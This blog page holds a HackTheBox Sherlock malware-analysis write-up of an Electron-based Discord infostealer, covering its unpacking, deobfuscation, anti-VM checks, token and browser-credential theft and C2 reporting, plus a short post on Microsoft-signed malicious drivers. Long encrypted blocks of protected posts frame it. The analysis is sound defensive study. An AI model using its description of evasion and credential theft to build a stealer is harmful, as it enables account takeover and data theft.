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;^

This investigation is currently active on HackTheBox, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution, or if you have already solved this challenge, use the answer to task 14 to unlock.

HackTheBox Sherlock: Subatomic

2024-12-31T20:14:00-05:00

Challenge: https://app.hackthebox.com/sherlocks/Subatomic

Introduction

Forela is in need of your assistance. They were informed by an employee that their Discord account had been used to send a message with a link to a file they suspect is malware. The message read: "Hi! I've been working on a new game I think you may be interested in it. It combines a number of games we like to play together, check it out!". The Forela user has tried to secure their Discord account, but somehow the messages keep being sent and they need your help to understand this malware and regain control of their account! Warning: This is a warning that this Sherlock includes software that is going to interact with your computer and files. This software has been intentionally included for educational purposes and is NOT intended to be executed or used otherwise. Always handle such files in isolated, controlled, and secure environments. One the Sherlock zip has been unzipped, you will find a DANGER.txt file. Please read this to proceed.

Analysis

We are provided a ZIP file that contains DANGER.txt and malware.zip. DANGER.txt provides information that this file can actually interact with your computer in a malicious way and should not be just opened and executed. Luckily, I dropped the file in my ParrotOS VM, let's get to investigating

File Analysis

File Name

nsis-installer.exe

File Type

PE32 Windows Executable, Nullsoft Installer Self-Extracting Archive

File Size

78MB

Size of Code

26624 bytes

OS Version

Windows 95

SHA256

7a95214e7077d7324c0e8dc7d20f2a4e625bc0ac7e14b1446e37c47dff7eeb5b

Creation Timestamp

2018-12-15 17:26:15 -05:00

Strings was not super useful here. There was some plain readable text that showed this was a self-extracting archive, but otherwise most of the text was unreadable as the executable is packed.
The extractor in Detect-It Easy is able to carve and dump a bunch of GZIP'd files, but they do not appear helpful for me.

Further Analysis on Linux

I found we can open the installer using an archive manager. Inside of $PLUGINSDIR is app-32.7z. Pulling this out and extracting it shows an electron chromium package. Inside of /resources is an app.asar. We can use npx @electron/asar extract app.asar ./app to extract this and further look at the source code of this application. Here is a breakdown of what the full application looks like:

/nsis-installer.exe
  /$PLUGINSDIR
    - app-32.7z
        /locales
          - *.pak (language files)
        /resources
          - app.asar
            /node_modules
            - app.js
            - package.json
          - elevate.exe
        - chrome_100_percent.pak
        - chrome_200_percent.pak
        - d3dcompiler_47.dll
        - ffmpeg.dll
        - icudtl.dat
        - libEGL.dll
        - libGLESv2.dll
        - LICENSE.electron.txt
        - LICENSE.chromium.html
        - resources.pak
        - SerenityTherapyInstaller.exe
        - snapshot_blob.bin
        - v8_context_snapshot.bin
        - vk_swiftshader.dll
        - vk_swiftshader_icd.json
        - vulkan-1.dll
    - nsExec.dll
    - nsis7z.dll
    - SpiderBanner.dll
    - StdUtils.dll
    - System.dll
    - WinShell.dll
  /$R0
    - Uninstall SerenityTherapyInstaller.exe
  [NSIS].nsi (only visible from Windows with a special nsis plugin)

The main app.js is completely obfuscated.

We can utilize a beautifier in VS Code, but it does not exactly help besides space things out to over 2k lines.

Using the debugger in VS Code, we can set a breakpoint immediately on line 1 and use F11 to step through the code while watching the sidebar to determine outputs. function_0x14c9 is looped through recursively due to the while loop at the top of the file. The loop appears to be looking for a specific value found in the 0x2662a3 6668 long array found in function _0x327a

meanwhile if the value is not found, it will keep running a separate function to push / shift

By modifying the code and creating a breakpoint on this if statement, I found it is looking for value 423471 and it takes 221 loops to get this value. Next it finally progreeses into function _0x59c5a2 to re-use the original value return function to return even more strings. After completing more loops, it progresses into _0x9a027 between garbled text, call and defineProp appear in the console. It appears to be building an object:

function () {
            var _0x1815fa = _0x494d30;
            return _0x3cf35d[_0x1815fa(0x169d)](_0x654edc, ...arguments);
        }

Unfortunately, the code kept hanging in my VM at this point on the same case '3' spot. My assumption is that it's checking for linux and if it's linux, it's killing the script, as the original file is a windows .exe. One of the tasks alludes to a killswitch on "arch".

Analysis Take 2 - Windows

I rebuilt the functionality on my windows VM. I installed flare VM to this box. During install, there is a 7z-nsis.vm that can be added that allows proper opening of the NSIS exe to reveal a hidden file needed for one of the tasks in this lab:

The mutex GUID is found via this file. I navigated through opening $PLUGINSDIR\app-32.7z\resources again like on the linux attempt, and extracted app.asar to \app for VS Code debugging and also took a look at elevate.exe in this dir. Using Detect-It Easy, we can see this binary is provided by Johannes Passing and is intended to provide elevated rights to the command line:

Strings from elevate.exe

Dynamic Debugging app.js

Again we are back with the heavily obfuscated app.js file. A quick npm install to ensure the dependencies exit. And a quick VM snapshot in case I fail to properly debug.

Attempting to debug now immediately throws a dpapi.node is not a valid Win32 application. A quick npm update fixes this issue and after a second or so of pausing and resuming, an eval appears in the callstack with de-obfuscated JS code. I quickly copied this into a new file and killed the running debug process, so we can investigate in a safer method.

Deobfuscated Code

Immediately at the top we have an options object that includes a C2 API and user_id. There are also a number of functions:

checkVm
- if the machine has less than 2GB of ram, it kills the script
- if the name of the PC is in a pre-determined list, it kills the script
- if one of the processes in a pre-determined list is running, it kills any of the processes
  - several of these processes are VM dependent (vmwareservice, vmwaretray)
  - several are malware analysis dependent (dumpcap, fakenet)
getDiscordTokens
- Uses an API call to fetch discord tokens from the malicious API in the options object and proceed to decrypt the token and send it back to /valid-tokens with the username and computer host name
newInjection
- calls systemInformattion to get OS info
- calls discordInjection()
- fetches IP Info from API
- calls network.json() for more network info
- sends to api /new-injection endpoint with the discord username from options, computer name, amount of RAM, CPU count, OS info, uptime and network info

In addition to getting discord tokens and injecting itself directly into discord, the malware has numerous functions to steal browser information such as cookies, autofills and passwords. If CMD is missing from the system, it will download it's own version to use. And if any errors are thrown, they are also sent back to the C2 for diagnostics.

This is a very good example of an infostealer malware.

Task Walkthrough

Task 1 - imphash

This is my first time learning about Import Hashing, or imphash. Per this 2014 article, the import hash is a way to hash the import address table and specific order of imports and use to attempt to track threat groups in using a specific methodology of malware. File hashes can change with imports, but import hashing is more static over version changes.
Following the information at the bottom of the article, I wrote a simple statement to be quickly ran in the terminal to pull the impash:

$python3 -c "import pefile; pe=pefile.PE('./nsis-installer.exe');print(pe.get_imphash())"

Task 2 - Program Name

Another new thing for me, SpcSpOpusInfo and the program name is derived from Microsoft's Authenticode on signed binaries. Another blog post here for information on that. I am on linux, so I cannot view cert info via the Properities GUI. I found a python package, Signify, that allows you to gain this info from the binary easily.

Using ParrotOS, I created a new directory and python venv to install signify, force an update patch to oscrypto due to a bug in detecting libcrypto, use a modified version this python script from the creator of signify, and investigate the malware.

$ mkdir ~/code
$ cd ~/code
$ python -m venv venv
$ source ~/code/venv/bin/activate
(venv)$ pip install signify
(venv)$ pip install --force-reinstall https://github.com/wbond/oscrypto/archive/d5f3437ed24257895ae1edd9e503cfb352e635a8.zip
(venv)$ cd ~/.../sherlock_subatomic
(venv)$ python ~/code/authenticode.py ./nsis-installer.exe

I removed the sections about indirect data as it throws an error. Running the script reveals the application is signed via Microsoft Code Signing PCA 2011 and has a program name of Windows Update Assistant. Therefore, this could look like an official Microsoft signed binary:

output of authenticode script

Task 3 - GUID

Opening the once hidden [NSIS].nsi reveals a mutex GUID the application uses:

Task 4 - License

After unpacking app.asar, we can see the package.json which shows a license of ISC

Task 5 - C2 Domain

Domain is found in const options

Task 6 - IP Info

Found under newInjection

Task 7 - C2 URL

Found right at the top of the deobfuscated file under the const options , same as task 5

Task 8 - user_id Variable

Task 9 - hostname

Found at the top of the deobfuscated code:

Task 10 - process name

Task 11 - file write

This function checks for CMD and if it does not exist, it pulls cmd from the API and writes it to the user's document folder

Task 12 - firefox cookies

Task 13 - Discord module

Conclusion

Initially, I found the task rather difficult. It turns out because I was attempting to debug the script on Linux and not the native windows, it was failing to properly execute the nodejs code. After rebuilding my malware analysis environment inside of Windows 10, it was extremely easy to reproduce and get myself into the deobfuscated code to determine the true intent of the application.

In my linux version, I had beautified the code and had multiple break points and console.log() messages written in to help debug the obfuscation. On windows, I simply hit debug and just spammed pause and resume for it to get to the proper location. In hindsight, some of the code could've executed and sent information over to the C2 if I didn't pause in time. I lucked out in pausing right before it did any actual checks. For next time, continuing to use breakpoints and stepping through the code is smarter. Luckily, I had internet disconnected from the box, this is always a good best practice for analyzing malware.

Malware Digitally Signed by Microsoft

2024-12-30T14:21:47-05:00

While working on a sherlock from HackTheBox, I researched a tactic of threat actors abusing the Microsoft driver signing process to allow their malware to be digitally signed by Microsoft.

General Information

An example of this from the Google Cloud / Mandiant blog post:
VirusTotal - File - 4257ece19a9e4abc1eb251463bce623d2ac45afd0ed7939ba5e76ee9dbde2fa5

Detection page for the vpn.sys driver

Details tab on vpn.sys showing the valid certificate from Microsoft. Special attention to SpcSpOpusInfo

Using a tool such as Python's Signify, you can easily parse the Program Name from a digitally signed executable on Windows or Linux. The program name, such as the 厦门恒信卓越网络科技有限公司 (Xiamen Hengxin Excellent Network Technology Co., Ltd.) in the above example can be used to detect other executables from the same organization that may also be malicious.

The Google Cloud / Mandiant article listed below also has a plethora of other examples of binaries that use the same program name. You can also find a similar list in this VirusTotal Collection or by pivoting off the above binary in Virus Total's Threat Graph.

Resources

2022

2023

Microsoft Revokes Malicious Drivers in Patch Tuesday Culling – Sophos News

2024

[Encrypted] HackTheBox Sherlock - Heartbreaker-Continuum

2024-12-28T23:41:34-05:00

qsDHrmJSRyHX4LC7YWnOtw==;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